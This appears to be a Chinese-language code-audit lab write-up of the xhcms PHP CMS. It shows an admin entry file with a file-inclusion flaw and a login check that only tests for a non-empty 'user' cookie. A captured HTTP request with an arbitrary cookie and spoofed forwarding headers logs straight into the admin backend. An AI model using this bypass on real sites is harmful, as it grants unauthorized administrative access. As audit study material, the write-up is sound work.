Cookie脆弱
文件分析,首先我们进入的是admin文件下的主文件,index.php
php
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
通过r参数接收文件,使用三元运算符判断文件是否为空,如果为空进入index.php,不为空则进入我们r传入的文件名的文件,存在着文件包含漏洞
files/下面的文件,那我们去files文件下进行查看,先看里面的index.php C:\phpStudy\PHPTutorial\WWW\xhcms\admin\files
,checklogin.php是一个检查文件的php
php
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>
C:\phpStudy\PHPTutorial\WWW\xhcms\inc·
文件下,接收了user用户的cookie,并没有对它进行检验,我们可以通过user不为空进行绕过Cookie:user=121312312
php
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
接下来我们来进行实践,访问http://192.168.118.140/xhcms/admin/?r=login
,进行抓包,修改Cookie为任意值,获得数据包
GET /xhcms/admin/?r=index HTTP/1.1
Host: 192.168.118.140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.118.140/xhcms/admin/?r=login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=é¹
13213123
x-forwarded-for: 8.8.8.8
x-originating-ip: 8.8.8.8
x-remote-ip: 8.8.8.8
x-remote-addr: 8.8.8.8
Connection: keep-alive
放包直接进入后台
